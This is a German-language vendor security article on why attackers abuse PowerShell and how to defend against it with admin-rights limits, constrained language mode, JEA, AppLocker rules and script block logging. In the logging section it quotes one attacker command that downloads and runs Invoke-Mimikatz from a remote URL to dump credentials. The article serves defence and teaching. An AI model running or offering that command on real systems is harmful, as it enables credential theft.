Warum ist PowerShell so beliebt bei Angreifern?
Es gibt ein altes Sprichwort: „Das Werkzeug der einen Person ist die Waffe einer anderen.“ Das trifft definitiv auf Windows PowerShell zu. In jedem heutigen Windows-Betriebssystem enthalten, wird diese leistungsstarke Befehlszeilenshell und Skriptsprache von IT-Profis für Systemadministration, Fernverwaltung, Cybersicherheit, Softwareentwicklung und mehr verwendet.
Auf der anderen Seite wird es von Bedrohungsakteuren genutzt, um ihnen bei der Ausführung bösartiger Taten wie Malware-Verbreitung, Ransomware-Einsatz und Datendiebstahl zu helfen. Dieser Artikel erklärt, warum PowerShell für Angreifer so nützlich ist und liefert wertvolle Strategien zur Verteidigung Ihrer IT-Umgebung.
Angriffskatalog:
Warum ist PowerShell eine so beliebte Angriffsplattform?
Warum nutzen so viele Cyberkriminelle PowerShell, um ihre Angriffe zu starten? Nun, zum einen ist es kostenlos. Weitere Gründe sind die folgenden:
- Die meisten Geschäftsanwender haben PowerShell auf ihren Windows-Endgeräten aktiviert.
- PowerShell verwendet einen dateilosen Ansatz, der Befehle und Skripte direkt im Speicher ausführt, was die Erkennung erschwert.
- Es kann nahezu jedes Windows-Gerät durch Herstellen einer Fernverbindung erreichen.
- Bedrohungsakteure können PowerShell zusammen mit anderen schädlichen Tools wie Empire, DeathStar und CrackMapExec nutzen.
- Es gibt eine Vielzahl von Skripten auf GitHub und anderen Plattformen (wie Invoke-Mimikatz) für Angreifer zur Verwendung.
Sobald ein Angreifer in einer On-Prem-Umgebung erstmaligen Zugriff erlangt hat, kann er PowerShell verwenden, um Sichtbarkeit in Ihrem Netzwerk zu erlangen und sich seitlich zu bewegen, um auf Ihre sensibelsten Daten und andere IT-Ressourcen zuzugreifen.
Wie man das Risiko von PowerShell reduziert
Da PowerShell bei so vielen verschiedenen Arten von Angriffen verwendet wird, ist es unerlässlich, Schutzmaßnahmen zu implementieren, um deren böswillige Verwendung zu bekämpfen. Lassen Sie uns einige Möglichkeiten betrachten, um das Risiko von durch PowerShell verursachten Bedrohungen zu reduzieren.
Beschränken Sie lokale Admin-Rechte
In der Ära des Zero Trust-Netzwerks sollten Standardbenutzer keine lokalen Adminrechte auf ihren Geräten haben, es sei denn, es ist für ihre Arbeit erforderlich. Obwohl das Verweigern lokaler Adminrechte den Zugriff auf PowerShell nicht einschränkt, begrenzt es, was ein Benutzer — oder ein Gegner, der ihr Konto kompromittiert hat — mit PowerShell tun kann, da viele PowerShell-Befehle und -Skripte erhöhte Privilegien erfordern, um zu funktionieren. Darüber hinaus wird durch das Verweigern lokaler Adminrechte der Zugriff eines Benutzers auf sensible Ordner und Systemeinstellungen eingeschränkt.
Verwenden Sie den eingeschränkten Sprachmodus
Windows PowerShell unterstützt verschiedene Sprachmodi, die bestimmen, welche Teile von PowerShell verwendet werden können. Der eingeschränkte Sprachmodus wurde für das Betriebssystem Windows RT entwickelt und später zu Windows PowerShell V5 hinzugefügt, das heute auf allen modernen Windows-Betriebssystemen verwendet wird.
Sie können eine PowerShell-Sitzung im Vollsprachenmodus starten, wie unten gezeigt:
Sie können eine PowerShell-Sitzung mit dem folgenden Befehl in den eingeschränkten Sprachmodus versetzen:
Im eingeschränkten Sprachmodus ist PowerShell auf einen begrenzten Satz von Befehlen und Skripten beschränkt. Die Ausführung von Befehlen außerhalb dieser Einschränkungen wird blockiert, wie im folgenden Beispiel gezeigt:
Der eingeschränkte Sprachmodus beschränkt auch den Zugriff auf bestimmte PowerShell-Funktionen, wie die Verwendung von PowerShell-Profilen und die Möglichkeit, zusätzliche PowerShell-Module zu laden. Insgesamt helfen diese Einschränkungen dabei, zu verhindern, dass Hacker PowerShell nutzen, um Systemsicherheitsmaßnahmen zu umgehen.
Leider gibt es eine offensichtliche Schwäche bei dieser Schutzmaßnahme: Ein Benutzer kann einfach eine neue PowerShell-Sitzung starten, die standardmäßig im Vollsprachenmodus läuft und vollen Zugriff auf die PowerShell-Funktionen hat.
Verwenden Sie PowerShell Just Enough Administration (JEA)
PowerShell Just Enough Administration ermöglicht es Ihnen, ein rollenbasiertes System für administrative Aufgaben durchzusetzen. Betrachten Sie JEA als das Prinzip der geringsten Berechtigung für die Sicherheit in PowerShell. Wenn ein Benutzer eine JEA-Sitzung beginnt, erhält er eine eingeschränkte Form von PowerShell, die es ihm nur erlaubt, die Aufgaben und Befehle auszuführen, die mit seiner Rolle verbunden sind. Dies verhindert, dass sie privilegierte Befehle ausführen, die sie nicht benötigen.
Das Aktivieren von JEA ist ein mehrstufiger Prozess. Der erste Schritt besteht darin, eine Rollenkompatibilitätsdatei zu erstellen, wie unten gezeigt:
Sie müssen dann die .prsc-Datei bearbeiten und die spezifischen Fähigkeiten der Rolle definieren, wie zum Beispiel das Erlauben bestimmter Befehle, die vom Benutzer ausgeführt werden können. Weitere Schritte umfassen das Erstellen einer Sitzungskonfigurationsdatei und dann die Verwendung dieser Datei, um einen neuen JEA-Endpunkt auf dem lokalen Computer zu registrieren.
Gewinnen Sie Einblick in Aktivitäten
Sie müssen wissen, was in Ihrer IT-Umgebung passiert. Eine Möglichkeit ist die Verwendung von Windows-Ereignisweiterleitung (WEF), einem kostenlosen Tool im Windows-Betriebssystem, das Ereignisprotokolle von verteilten Systemen sammeln und zentralisieren kann. Ein Ansatz von Drittanbietern wäre eine Security Information and Event Management (SIEM)-Lösung. SIEMs können Daten aus einer breiten Sammlung verschiedener Systeme sammeln und diese Daten aggregieren, um einen umfassenden Einblick zu bieten, was in Ihrer Umgebung vor sich geht.
Sie sollten auch systemweite PowerShell-Transkripte aktivieren, die alle PowerShell-Aktivitäten auf den festgelegten Systemen protokollieren, sodass ausgeführte Befehle überprüft werden können. Dies kann für Audits und forensische Untersuchungen hilfreich sein. Um systemweite PowerShell-Transkripte zu aktivieren, erstellen Sie ein Group Policy object (GPO), navigieren Sie zu Computerkonfiguration > Administrative Vorlagen > Windows-Komponenten > PowerShell und aktivieren Sie Enable PowerShell Transcription wie unten gezeigt:
Verwenden Sie AppLocker, um PowerShell und Skripte zu deaktivieren
AppLocker wird mit Windows 10 Enterprise geliefert und bietet eine nützliche Möglichkeit, Anwendungen und Skripte zu erlauben. Es kann entweder lokal auf einem System oder über Gruppenrichtlinien konfiguriert werden. Um Gruppenrichtlinien zu verwenden, erstellen Sie ein GPO, gehen Sie zu Computerkonfiguration > Windows-Einstellungen > Sicherheitseinstellungen > Anwendungssteuerungsrichtlinien > AppLocker. Erstellen Sie eine ausführbare Regel und wählen Sie Verweigern wie unten gezeigt:
Sie können Anwendungen nach Herausgeber, Dateipfad oder Datei-Hash blockieren. Die untenstehende Beispielrichtlinie blockiert nach Datei-Hash und erlaubt nur lokalen Administratoren, PowerShell auszuführen; der Zugriff durch andere Benutzer wird blockiert.
Sie können dann die Richtlinie mit Gruppenrichtlinien verteilen oder sie als XML-Datei exportieren und in ein MDM wie Intune importieren. Der XML-Code für die exportierte Richtlinie wird unten angezeigt:
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
<Conditions>
<FilePathCondition Path="*" />
</Conditions>
</FilePathRule>
<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FileHashCondition>
<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />
</FileHashCondition>
</Conditions>
</FileHashRule>
</RuleCollection>
<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
<RuleCollection Type="Script" EnforcementMode="NotConfigured" />
<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />
</AppLockerPolicy>
Sie können auch sicherstellen, dass nur Dateien aus einem bestimmten Ordner ausgeführt werden können, indem Sie Skriptregeln-Richtlinien verwenden, um eine Erlaubnisregel für einen spezifizierten Ordner mit einem einfachen PowerShell-Skript wie diesem zu erstellen:
Erkennen Sie bösartige PowerShell mit Script Block Logging
PowerShell 5 führt mehrere neue Techniken ein, um bösartige PowerShell-Skripte zu verfolgen. Eine davon ist das Script Block Logging. Diese Protokollierungsebene ist standardmäßig bei PowerShell 5 aktiviert und bietet eine Klartextprotokollierung des vollständigen durch PowerShell ausgeführten Skripts. Dies ist nützlich, da viele PowerShell-Angriffe verschlüsselte Skripte verwenden, die schwer zu entziffern sind.
Schauen wir uns eine Methode an, wie ein Angreifer versuchen könnte, seine Skripte zu verstecken, indem er ein Skript wie das folgende verwendet, das herunterlädt und Invoke-Mimikatz ausführt:
powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”
Mit PowerSploit und Out-EncodedCommand kann ein Angreifer eine verschlüsselte Version dieses Befehls erstellen, die noch stärker verschleiert ist:
Allerdings zeigen die PowerShell-Ereignisprotokolle immer noch genau an, was ausgeführt wurde, ohne jegliche Kodierung:
Wie Netwrix helfen kann
Während Organisationen diese Minderungs- und Erkennungsstrategien nutzen können, um die Überwachung und den Schutz gegen bösartige Skripte zu gewährleisten, gibt es Drittanbieterprodukte, die die Arbeit vereinfachen. Netwrix Endpoint Privilege Manager erleichtert das Erstellen von Erlaubnis- und Sperrlisten, um automatisch zu verhindern, dass Benutzer unerwünschte Anwendungen ausführen, einschließlich PowerShell. Außerdem ermöglicht dieses Tool das Entfernen von lokalen Adminrechten, während Benutzer weiterhin die für hohe Produktivität erforderlichen administrativen Aufgaben ausführen können.
PowerShell ist ein mächtiges Werkzeug. Stellen Sie sicher, dass Sie angemessene Vorkehrungen treffen, damit Gegner es nicht so leicht gegen Sie verwenden können.
Teilen auf
Zugehörige Cybersecurity-Angriffe anzeigen
Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien
AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien
AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien
Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien
DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security
Pass-the-Hash-Angriff
Verständnis von Golden Ticket-Angriffen
Angriffe auf Group Managed Service Accounts
DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien
ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen
NTDS.dit-Passwortextraktionsangriff
Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien
Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien
Password-Spraying-Angriff
Angriff zur Extraktion von Klartext-Passwörtern
Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung
Ransomware-Angriffe auf Active Directory
Active Directory mit dem Skeleton Key-Angriff entsperren
Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen
Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert
Silver Ticket Attack
4 Angriffe auf Dienstkonten und wie man sich dagegen schützt
Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen
Was ist Credential Stuffing?
Kompromittierung von SQL Server mit PowerUpSQL
Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen
Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)
Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt
Ein umfassender Blick auf Passwortangriffe und wie man sie stoppt
LDAP-Aufklärung
Umgehen der MFA mit dem Pass-the-Cookie-Angriff
Golden SAML-Angriff